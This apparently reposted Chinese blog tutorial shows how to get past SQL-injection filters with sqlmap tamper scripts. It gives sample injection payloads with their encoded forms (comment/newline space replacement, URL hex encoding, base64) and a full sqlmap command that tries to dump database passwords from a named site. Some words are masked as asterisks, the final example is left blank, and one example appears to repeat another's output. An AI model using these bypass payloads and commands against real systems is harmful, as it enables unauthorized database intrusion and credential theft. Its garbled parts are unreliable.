前言: SQL注入***是***對數據庫進行***的常用手段之一。隨着B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據。 然而隨着SQL注入***的高潮過後,越來越多的安全人員想出了防止SQL***的方式,例如利用instr()函數,過濾注入關鍵字等等的方法。所以如何繞過這些防止***的手段,是目前的安全研究人員們的常規研究方向。 關於SQLMAP: Sqlmap是一款開源的命令行自動SQL注入工具。它由Bernardo Damele A.G.和Daniele Bellucci以GNU GPLv2許可證方式發佈,可從http://sqlmap.sourceforge.net上下載。 Sqlmap用Python開發而成,這使得它能夠獨立於底層的操作系統,而只需2.4或之後版本的Python解釋器即可。爲了使事情更容易,許多GNU/Linux在發佈時都創新性地附帶安裝了Python解釋器包。Windows、UNIX和Mac OSX也均有提供或者可免費獲取。 今天我來說說如何繞過注入限制。 MYSQL BYPASS 腳本:space2hash.py含有免殺功能,對於MYSQL數據庫 4.0、5.0注入 例子: * 注入語句:1 AND 9227=9227 * 替換成爲:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 腳本: space2morehash.py含有免殺功能,對於MYSQL數據庫 >= 5.1.13 和 MySQL 5.1.41 注入 例子: * 注入語句:1 AND 9227=9227 * 替換成爲:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 如何使用這些BYPASS繞過腳本? 你可以用SQLMAP的 --tamper 參數。 一個注入點:http://sql.dis9.com/sql.php?id=1 我們首先判斷他數據庫的版本 然後選擇對於版本的bypass腳本進行使用,我們來嘗試一下:: 看圖片的註釋,提示版本錯誤,我們來換個BYPASS腳本,使用space2dash.py試試。 這個是SQLite數據庫和MYSQL數據庫的,例子: * 注入語句:1 AND 9227=9227 * 輸出:1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227 嘗試一下,看下圖,PAYLOAD已經被編碼: sqlmap -u "http://sql.dis9.com/sql.php?id=1" -v 3 --password --batch --tamper "space2dash.py" 換個編碼吧,換encodes編碼:charencode.py * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 * 注入語句:SELECT FIELD FROM%20TABLE * 替換爲:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 base64編碼腳本:base64encode.py * 注入語句:1' AND SLEEP(5)# * 替換爲:MScgQU5EIFNMRUVQKDUpIw== 替換空格和關鍵字 :halfversionedmorekeywords.py * 注入語句:
* 替換成:
原文地址,聽潮社區http://www.f4ck.org/article-2183-1.html |
SQLMAP繞過SQL注入限制
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.